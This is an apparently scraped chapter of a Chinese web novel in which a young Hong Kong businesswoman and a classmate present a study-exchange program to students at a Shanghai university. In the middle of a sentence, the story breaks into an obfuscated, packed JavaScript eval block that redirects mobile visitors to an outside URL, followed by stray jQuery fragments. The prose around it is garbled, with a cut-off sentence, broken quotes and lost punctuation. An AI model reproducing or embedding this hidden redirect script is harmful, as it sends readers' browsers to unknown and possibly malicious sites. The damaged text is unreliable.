岳宁从崔慧仪的车上下来，一阵寒风吹过，她连忙拉上羽绒服拉链。
穿着灰色毛呢中山装的朱教授已经站在雕梁画栋的校门前，岳宁快步走了过去，问：“明轩还没到吗？”
“时间还没到呢！小周从杨树浦过来，路远不好走。”朱老师说。
今天岳宁去乔家吃饭，周明轩和赵佳颖分别带队去两家工厂考察，周明轩负责市毛纺三厂的情况。
上海在民国时期就是世界著名的纺织品生产基地，解放后这些工厂收归国有，至今仍占据国家工业的重要份额。
除了农产品和传统的丝绸工艺品等货品，纺织品是这个年代中国出口的主力商品。
一辆老旧的面包车缓缓驶来，车门被拉开，周明轩从车上下来，一下车他就打了个寒颤，赶紧裹紧棉服。
“不好意思，让你们久等了。”周明轩说。
岳宁笑道：“那不是还有十来分钟吗？”
三人一起往校园里走。几个学生骑着二八杠自行车飞驰而过。
“明轩，今天考察情况怎么样？”岳宁问他。
周明轩摇头：“不太乐观。不过我已经有心理准备了，毕竟之前在粤城考察的几家工厂情况也不理想。”
即便是上海这样的大城市，现在能接到的外贸订单也不过是些低端纺织品。这些产品价格低廉，生产设备与国外先进水平相差二三十年，管理水平更是相去甚远。
岳宁暗自叹息，要乐观才怪。这些企业在九十年代必将面临大规模改制，许多工厂会倒闭，引发下岗潮。想到这里，她只能安慰自己：我们尽力而为就好。看看日本和亚洲四小龙，它们都是世界贸易重新分工的受益者。在西方世界封锁时期，中国很难发展起来。现在开放了，只要抓住这个机遇，经济总会好起来的。
几个女生抱着课本结伴而行，频频朝岳宁和周明轩这边张望。岳宁主动挥手打招呼：“你们好。”
“你好。”
看着岳宁走远，女生们开始窃窃私语：“这是谁啊？这么漂亮，这么时髦，不像是我们学校的吧？”
“我记得今天广播通知，下午两点在三号楼有个宣讲会，说是港城大学经济系的学生来交流。”
“学生来交流？交流什么内容？”
“什么是宣讲会啊？”
“要不去看看？长长见识？”
“好啊！”
……
岳宁跟着朱老师走
进教学楼，来到阶梯教室。教室里已经坐了不少学生，这几届的大学生年龄跨度很大，有人已经三十多岁，有人则长着一张青春稚嫩的脸。不过，作为大城市的重点大学，女生头上戴着花布头箍，扎着绸带蝴蝶结，男生也不全是清一色的蓝色工装，穿着各有特色。
岳宁转头看见黑板上写着“欢迎港城大学岳宁同学、周明轩同学前来交流“。
朱老师走上讲台：“同学们请安静，岳宁同学是港城大学的学生，也是著名经济学家万博达教授的弟子。她不仅是港城和日本火爆的面馆''宁小厨''的老板，还经营着港城最豪华的酒楼''宁宴''，同时创办了一家贸易公司……”
“她才二十岁左右吧？就开酒楼？”
“还是最豪华的那种。比接待外宾的饭店还豪华吗？”
“火爆日本？”
“……”
同学们的议论声几次打断了朱老师的介绍。岳宁笑着说：“朱老师，这些介绍并不重要，重要的是我想和同学们交流一下我的看法。”
“那好，让我们用热烈的掌声欢迎岳宁同学。”朱老师带头鼓掌。
在热烈的掌声中，岳宁走上讲台：“各位老师、同学，大家好。我叫岳宁，从港城来。”
“首先回答大家刚才关心的问题。我今年二十岁。确实开了餐饮企业，准确地说是一家餐饮管理公司，旗下有三条业务线：宁小厨面馆，类似于我们这里的为民点心店，主要供应特色小吃。比如你们熟悉的圆仔方便面，雪菜肉丝口味就是我针对江浙沪顾客特别设计的调味配方。”
“我喜欢老北京炸酱面，里面真的有酱料包。味道很好！就是价格有点贵。”另一位同学说。
“那个也是我研发的调味配方。”岳宁解释道，“第三条业务线就是朱老师提到的宁宴酒楼。目前在港城有两家分店，澳门的分店也即将开业。宁宴最贵的一桌十人套餐消费五万多港币。我们统计去年的人均消费是七百九十二元港币，相当于人民币两百多元。”
台下响起一片惊叹声。这些大学生毕业后月薪也就一百多元，这相当于他们两个月的工资。
“什么人能吃得起这么贵的饭？”有人好奇地问。
“这就是资本主义社会的现实，既有三块五一碗的猪脚粉，也有三百多元一份的炒饭。”岳宁感慨道，“这正应了那句''朱门酒肉臭，路有冻死骨/她看向台下一
个女生，“同学，你知道我的酒楼为什么能卖这么贵，还这么受欢迎吗？
女生仰头回答：“因为很好吃吗？
“好吃是基本要求。但能卖这么高的价格，环境和服务同样重要。
“高薪聘请？
“港城地方小，我不可能把顶尖厨师都挖来。况且我接手宝华楼时，它正面临经营危机，就算有钱，人家也不一定愿意来。岳宁卖了个关子。
大家期待地看着她。岳宁说：“答案是内地。内地有大量优秀人才。
岳宁详细介绍了她如何通过进修合作的方式，从粤城引进经验丰富的厨师，不仅挽救了宝华楼，还成功开设了宁宴酒楼。
“锦华饭店、西郊迎宾馆，特别是国宾馆的国厨都曾到我的酒楼进修。难怪能开最高端的酒楼。岳宁补充道。
“哦！我明白了，你就是用内地的工资水平吸引这些厨师为你工作？这不就是剥削劳动人民吗？
周明轩反驳道：“你懂什么？这些厨师在港城的工资很高，听说宁宴的顶级大厨月薪过万，普通交流厨师也能拿到五六千。宝华楼的工资在港城是出了名的高。
“月薪过万？同学们惊叹不已。
按汇率计算，人家一个月的收入，相当于自己在这里工作三年。
“给这么多钱，他们进修期满后不肯回来怎么办？这不是挖社会主义墙角吗？
岳宁笑道：“我是在为社会主义建设做贡献，怎么可能挖墙脚？
她解释说这些厨师两年合同期满后会返回原单位。
还是刚才那位同学追问：“他们都赚到高工资了，还会愿意回去吗？
他似乎有意与岳宁辩论。岳宁微笑着回答：“确实有人选择不回来。但实际情况比我预想的要好得多。第一批厨师明年年中培训结束，他们都会返回内地，但岗位都会有调整……
岳宁介绍了三位厨师的职业发展：“两年时间，他们赚到了别人三十年才能积累的收入。回到内地后，每个人都获得了更好的发展机会。你们说，他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915652|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回来的可能性有多大？我不能保证每个人都愿意回来，但我会尽力让最优秀的厨师留在内地发展。
“你说这些跟我们有什么关系？
“因为你们都是优秀人才，我希望未来
能和大家成为同学。”岳宁真诚地说“港城大学已经和J大达成合作将招收J大的学生。现在请我的同学周明轩为大家详细介绍这个项目以及它与在座各位的关系。”
“各位老师、同学大家好。我是周明轩。”周明轩站起身“现在由我来介绍港城大学的情况。”他环视教室“港城大学今年将迎来建校七十周年庆典。作为英联邦大学协会成员我校与英国、澳大利亚等国的高校保持着密切的学术交流教师队伍中不乏欧美顶尖大学的毕业生……”
这个年代的港城大学虽然实力不俗但与欧美名校相比还有差距而且目前欧美国家与中国正处于友好交往时期很多学生更倾向于等待机会去欧美或日本留学。
港城大学积极推动这个交流项目但进展并不顺利。岳宁原以为是内地审批效率问题与朱教授交流后才知道原来是很多学生都把港大当成备胎。
介绍完学校情况周明轩又详细说明了交流项目的具体内容：“这个项目的缘起还要从岳宁同学招聘翻译人员说起……”
“原来如此！”之前一直质疑的男生突然站起来向岳宁鞠躬“岳同学我为刚才提出的诸多问题表示歉意。”
“没关系你继续听周同学介绍。”
“岳宁同学为我们提供了很多实践机会。港城作为连接内地与世界的窗口我们成立了一家服务公司为内地企业提供翻译、法律、进出口等服务。如果大家选择去港城学习我们将提供勤工俭学的机会。在学习期间积累实际工作经验这些经验将帮助你们未来与内地企业建立合作关系。就像宝华楼的厨师们在进修期间就能获得不错的收入。我们现在正与多家企业开展合作。”周明轩列举了一长串合作企业名单。
“等你们完成港城的学习回内地后就能进入这些企业成为连接内地与港城的专业人才。”
周明轩感慨道：“人离乡贱。我当年也曾申请英国的大学但家境贫寒出国读书必须打工赚取学费和生活费。餐馆洗盘子、拖地是我们这类学生最容易找到的工作。最终我选择留在港城没想到遇到了宁宁。读书固然重要但能边学习边积累实用经验还能拥有光明的前途实在是我的幸运。”
“那……去了港城能留下来工作吗？”一位女生小心翼翼地问。
岳宁解释道：“这个项目属于公派交流原则上不支持留学生留下工作。但我们理解每个人都有自己的志向。如果在业余时间参与我们公司的实习毕业后很可能进入周明轩提到的那些企业有很大机会被派驻港城工作。”
“留港工作？那收入岂不是比内地高很多？”
“可是……资本主义社会会不会很乱？”
“具体该怎么申请？”
“现在还能报名吗？”
“港城大学对英语水平要求高吗？我英语不太好……”
岳宁和周明轩耐心解答大家的疑问。
从J大出来周明轩问道：“宁宁我听毛纺厂的技术员说他是纺织工学院毕业的。其实J大很好
“明轩你反应真快这个想法很好！”岳宁惊喜地说“我们学校确实没有纺织相关专业。”
“其他高校有相关专业我回去借你的名义联系他们。”周明轩信心满满地说。
岳宁点头表示赞同：“好主意就这么办。”